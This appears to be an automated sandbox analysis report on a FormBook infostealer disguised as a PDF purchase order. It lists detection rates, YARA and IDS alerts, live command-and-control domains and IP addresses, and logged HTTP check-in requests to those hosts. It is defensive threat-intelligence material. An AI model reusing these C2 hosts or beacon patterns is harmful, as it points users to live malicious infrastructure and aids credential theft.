Windows Analysis Report
PO_P0986880_03282025.pdf.exe

AV Detection

Source: http://www.51-clubb.net/9rq7/	Avira URL Cloud: Label: malware
Source: http://www.progressreport.sbs/dwz6/	Avira URL Cloud: Label: malware
Source: http://51-clubb.net/9rq7/?GRyLv=zjIHmEPkhIpW8dQ17FEXUtrtuIGEdL59j7w9v758qpBLhoB7ZHWsrOFH2xY8fxi6Oqh8	Avira URL Cloud: Label: malware
Source: http://www.51-clubb.net/9rq7/?GRyLv=zjIHmEPkhIpW8dQ17FEXUtrtuIGEdL59j7w9v758qpBLhoB7ZHWsrOFH2xY8fxi6Oqh8HPbZdw/O4+potf90OKvMASskm5AKgaVHD2hTUR6NsTyOhQZjtogZd09WpQM4Agy6LwI=&cR=DjKdNdEH	Avira URL Cloud: Label: malware
Source: http://www.admiralbet365.lol/w0xl/?GRyLv=7e3AUr4vnIy2mFq5iNauLSuzf1a0WETpSqSPdP5/I9Hiq8lle3ilKFHHQgSFRJaKQf2hqChNKvIclKvEOqn21Fdj5Wh9RRR2SY76pY972qe02mcIqewpJcIOxzWBjJa2KaK4PzE=&cR=DjKdNdEH	Avira URL Cloud: Label: malware
Source: http://www.admiralbet365.lol/w0xl/	Avira URL Cloud: Label: malware
Source: http://www.progressreport.sbs/dwz6/?GRyLv=VjCN5K9s6HbwQ2Wb+0UgGkNz99eBDN4TDa7y3kDPRqs86I7qNkS8dTCd5d+kG1CylRgcFGdcrmXmzc66pErqT5HRGVr5TsM7xcGUvFJ9RywmZ8h7/zidpeeAT16BPw+5FGIJNnk=&cR=DjKdNdEH	Avira URL Cloud: Label: malware

Source: PO_P0986880_03282025.pdf.exe	Virustotal: Detection: 43%			Perma Link
Source: PO_P0986880_03282025.pdf.exe	ReversingLabs: Detection: 52%

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1583802234.00000000033F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1583402724.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680204431.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3678375316.0000000002950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680275719.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3682147563.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1584252317.0000000005A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3680107281.0000000004310000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Compliance

Source: PO_P0986880_03282025.pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: rmactivate_ssp_isv.pdb source: svchost.exe, 00000002.00000003.1552392277.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1552329502.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766506375.0000000000794000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766408850.0000000005E31000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1229464446.0000000003BF0000.00000004.00001000.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1226945055.0000000003A50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1475634337.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1478111998.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.0000000003500000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.000000000356E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1586811304.000000000321E000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1583931638.0000000003061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1229464446.0000000003BF0000.00000004.00001000.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1226945055.0000000003A50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1475634337.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1478111998.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.0000000003500000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.000000000356E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1586811304.000000000321E000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1583931638.0000000003061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.00000000039FC000.00000004.10000000.00040000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1883612234.000000001DD8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.00000000039FC000.00000004.10000000.00040000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1883612234.000000001DD8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: rmactivate_ssp_isv.pdbGCTL source: svchost.exe, 00000002.00000003.1552392277.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1552329502.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766506375.0000000000794000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766408850.0000000005E31000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679656655.0000000000E1F000.00000002.00000001.01000000.00000005.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000000.1665805087.0000000000E1F000.00000002.00000001.01000000.00000005.sdmp

Spreading

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB445A GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00AB445A
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABC6D1 FindFirstFileW,FindClose,		0_2_00ABC6D1
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00ABC75C
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00ABEF95
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00ABF0F2
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00ABF3F3
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00AB37EF
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00AB3B12
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00ABBCBC
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0296C1C0 FindFirstFileW,FindNextFileW,FindClose,		10_2_0296C1C0

Software Vulnerabilities

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 4x nop then xor eax, eax		10_2_02959F00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 4x nop then pop edi		10_2_0295DD41
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 4x nop then mov ebx, 00000004h		10_2_031604DE

Networking

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49710 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49719 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49743 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49712 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49712 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49732 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49707 -> 208.109.172.233:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49732 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49733 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49702 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49706 -> 208.109.172.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49726 -> 173.212.221.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49721 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49703 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49703 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49708 -> 208.109.172.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49747 -> 162.210.195.105:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49708 -> 208.109.172.233:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49699 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49699 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49700 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49717 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49739 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49735 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49722 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49740 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49740 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49705 -> 208.109.172.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49701 -> 104.21.112.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49718 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49709 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49720 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49720 -> 159.198.64.72:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49713 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49716 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49716 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49736 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49736 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49723 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49731 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49725 -> 173.212.221.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49734 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49711 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49728 -> 173.212.221.162:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49728 -> 173.212.221.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49745 -> 162.210.195.105:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49727 -> 173.212.221.162:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49714 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49737 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49724 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49724 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49738 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49729 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49746 -> 162.210.195.105:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49715 -> 45.130.41.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49741 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49744 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49744 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49730 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49748 -> 162.210.195.105:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49748 -> 162.210.195.105:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49742 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49749 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49750 -> 208.91.197.27:80

Source:	DNS query: www.whalegamefi.xyz
Source:	DNS query: www.tropicus.xyz
Source:	DNS query: www.quanow.xyz

Source: Joe Sandbox View	IP Address: 38.180.96.83 38.180.96.83
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00AC22EE

Source: global traffic	HTTP traffic detected: GET /koyt/?cR=DjKdNdEH&GRyLv=nb4y97rpbO5271hqMcna2Sza6sIK3SnP+0nGp1d6KlF60E5Y2QGwpEt4Upl8P7UKPezz0vFNWO703kBGv6PyYWV+Z4WfyQaFVWZsIJy5ys6xt1MFXpxuwI2s52CK+HX762a6Kuk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.whalegamefi.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /bt6e/?GRyLv=DGG2dpdmFnDmTYL2zBuIjcKur5HnaH/B9Juz+xk0LmYsZNziZfy1WQ8ebzK5uOUL7T6c6G1VnrFqlA9uGEMCdaaSNdW9HWomZxahZdQNG0zGppOH0izhx9u5x++1/3ZLzUsqpuM=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.auto-total.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9rq7/?GRyLv=zjIHmEPkhIpW8dQ17FEXUtrtuIGEdL59j7w9v758qpBLhoB7ZHWsrOFH2xY8fxi6Oqh8HPbZdw/O4+potf90OKvMASskm5AKgaVHD2hTUR6NsTyOhQZjtogZd09WpQM4Agy6LwI=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.51-clubb.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2hcn/?GRyLv=v+ER9Nx5p7SF5+sZdHMIHs4JQre/Y1c0FNDOLyslIhsplt1C0A9NsliraKpOtQUoPf1rvYDvH+LBS5sfmqmIkWqEJujyTsmmYOr8EG7K3KaY8hFVHHH9EeLTZT0hj26MxnKXCww=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.tropicus.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /f1pb/?cR=DjKdNdEH&GRyLv=EjFUzXq1UkVsO2b3yjjPmTIAZnXXiPaayMea5eEebfuEA8V1xbqtGbDR6PdHJ4MNUYM3EgO3uB2c/uqZBa357ldg6iRk3wf/6BaLafpj6Z6GsMbe9sLCHoQx5AfyKyZnsIuGDTk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.akfix-msk.storeConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /peg8/?GRyLv=HdnXkmRfJ+ObYWTTHaaB2CGqU3Bgi7xTjDlATgcFzp3dw8RmhJyDVphcCHhsf0xeiYYAu3F6GIeuSdjIkaMY1XdWOawGeqKXqbn16366TOczNPQBt5g1hI82HaHtyWmwXwBIxmM=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.quanow.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8ad4/?cR=DjKdNdEH&GRyLv=ZYd5fPycI6B8eqJGHf3iDZOIjGgPMB/TEiWjWHBo41WkFllzL+ZgmnuegfdtdgZL6tdepgtSMF+UkyLav3VY7Q5WAJigIKspz6A1WsXIu3vneJIxEiYp6PLXrr2BYN/+mD8m2Ak= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.erovoice.picsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /w0xl/?GRyLv=7e3AUr4vnIy2mFq5iNauLSuzf1a0WETpSqSPdP5/I9Hiq8lle3ilKFHHQgSFRJaKQf2hqChNKvIclKvEOqn21Fdj5Wh9RRR2SY76pY972qe02mcIqewpJcIOxzWBjJa2KaK4PzE=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.admiralbet365.lolConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zm4g/?GRyLv=nLFaZaVPPNq8qBvtowZGl3tmmG8Fk27mql6opl1ndtQhDijGuyUV2T+5SDvyBzx3Opq357cNLrHiNMKBBfwQqTHWNtS54aR/OeE7Es4cueNGU4bwrrGq9I+4LFsX/Z0Fcoxxr3U=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.boa-first-option.clickConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
